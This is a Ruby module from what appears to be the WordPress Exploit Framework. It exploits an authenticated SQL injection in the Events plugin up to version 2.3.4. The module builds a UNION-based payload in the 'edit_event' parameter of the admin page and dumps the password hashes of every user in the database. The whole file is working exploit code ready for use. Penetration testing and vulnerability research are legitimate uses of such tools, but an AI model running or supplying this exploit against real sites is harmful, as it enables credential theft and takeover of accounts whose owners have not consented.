# frozen_string_literal: true

class Wpxf::Auxiliary::EventsHashDump < Wpxf::Module
  include Wpxf::WordPress::HashDump

  def initialize
    super

    update_info(
      name: 'Events <= 2.3.4 Authenticated Hash Dump',
      desc: %(
        Events <= 2.3.4 contains an SQL injection vulnerability
        which can be leveraged by all registered users with the permission
        to manage events via the plugin. This module utilises this vulnerability
        to dump the hashed passwords of all users in the database.
      ),
      author: [
        'Lenon Leite', # Disclosure
        'rastating'    # WPXF module
      ],
      references: [
        ['WPVDB', '8954'],
        ['URL', 'http://lenonleite.com.br/en/blog/2017/11/03/wp-events-2-3-4-wordpress-plugin-sql-injetcion/']
      ],
      date: 'Nov 03 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wp-events', '2.3.5')
  end

  def requires_authentication
    true
  end

  def reveals_one_row_per_request
    true
  end

  def hashdump_request_params
    {
      'page' => 'wp-events-edit',
      'edit_event' => "-#{Utility::Text.rand_numeric(3)} UNION #{hashdump_sql_statement} #"
    }
  end

  def hashdump_visible_field_index
    1
  end

  def hashdump_number_of_cols
    14
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end
end
